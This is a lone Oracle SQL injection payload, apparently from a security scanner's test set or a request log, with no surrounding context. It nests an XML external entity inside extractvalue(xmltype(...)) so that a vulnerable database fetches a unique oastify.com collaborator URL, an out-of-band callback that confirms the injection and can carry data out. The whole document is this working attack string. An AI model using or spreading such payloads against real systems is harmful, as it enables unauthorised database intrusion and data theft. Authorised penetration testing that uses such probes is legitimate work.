VgSOJh'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % ktcdp SYSTEM "http://gh18dr9mxi2cgngd9wxpxp3odfj87z1qpudm0fo4.oasti'||'fy.com/">%ktcdp;]>'),'/l') from dual)||'